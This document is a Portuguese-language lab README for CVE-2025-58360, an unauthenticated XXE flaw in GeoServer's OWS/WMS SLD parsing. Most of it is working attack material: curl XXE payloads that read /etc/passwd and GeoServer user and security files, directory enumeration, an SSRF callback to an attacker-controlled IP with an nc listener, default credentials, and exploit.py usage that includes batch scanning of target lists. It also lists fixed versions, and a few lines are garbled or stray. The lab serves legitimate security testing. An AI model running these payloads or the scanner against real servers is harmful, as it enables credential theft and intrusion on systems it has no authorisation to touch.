
Injeção de Entidade Externa XML (XXE) não autenticada nos serviços OWS/WMS do GeoServer
CVSS: 9.8 CRÍTICO
Afetado: <= 2.25.5, 2.26.0-2.26.1
Corrigido: 2.25.6+, 2.26.2+, 2.27.0+
Este laboratório demonstra a CVE-2025-58360, uma vulnerabilidade crítica de XXE no tratamento de requisições XML WMS/OWS do GeoServer. A vulnerabilidade permite que atacantes não autenticados:
file:// do JavaO método SLDParser.parseSLD() do GeoServer processa documentos de estilo XML sem restrições adequadas de resolução de entidades. Embora o dispatcher OWS use AllowListEntityResolver para bloquear XXE, o caminho de código de análise SLD ignora essa proteção:
POST /geoserver/ows?service=WMS&request=GetMap
|
v
+-----------------------------+
| OWS Dispatcher | <-- EntityResolver configured
| (Detects SLD in body) |
+-----------------------------+
|
v
+-----------------------------+
| SLDXmlRequestReader |
| -> SLDHandler.parse() |
| -> SLDParser.parseSLD() | <-- NO EntityResolver!
+-----------------------------+
|
v
XXE RESOLVED -> File/SSRF
# Start both vulnerable and patched instances
docker-compose up -d
# Vulnerable: http://localhost:8080/geoserver
# Patched: http://localhost:8081/geoserver
# Wait ~60 seconds for startup
Credenciais Padrão: admin / geoserver
curl -s -X POST \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<n>&xxe;</n>
</NamedLayer>
</StyledLayerDescriptor>' \
"http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"
Resposta Vulnerável:
<ServiceException>
Unknown layer: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
</ServiceException>
Resposta Corrigida:
<ServiceException>
Entity resolution disallowed for file:///etc/passwd
</ServiceException>
file:///opt/geoserver_data/security/usergroup/default/users.xml
file:///opt/geoserver_data/global.xml
O handler file:// do Java lê diretórios como listas de arquivos separados por quebras de linha:
# List root directory
python3 exploit.py -u http://localhost:8080 --file /
# Enumerate geoserver data
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/security/
Saída:
__cacert_entrypoint.sh
.dockerenv
bin
boot
dev
etc
home
...
Isso permite a enumeração completa do sistema de arquivos antes de mirar em arquivos específicos.
# Start listener
nc -lvnp 9999
# Send payload
curl -s -X POST \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "http://YOUR_IP:9999/callback">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<n>&xxe;</n>
</NamedLayer>
</StyledLayerDescriptor>' \
"http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"
# Version check
python3 exploit.py -u http://localhost:8080
# Safe probe (no data exfil)
python3 exploit.py -u http://localhost:8080 --probe
# File read
python3 exploit.py -u http://localhost:8080 --file /etc/passwd
# SSRF
python3 exploit.py -u http://localhost:8080 --ssrf http://attacker:9999/callback
# Verbose mode
python3 exploit.py -u http://localhost:8080 --file /etc/passwd -v
# Batch scan
python3 exploit.py --list targets.txt --output vulnerable.txt
geoserver-xxe-lab/
├── README.md
├── docker-compose.yml
└── exploit.py
Atualize para o GeoServer 2.25.6+, 2.26.2+ ou 2.27.0+
Somente para fins educacionais e de testes de segurança autorizados.
El Perro Joke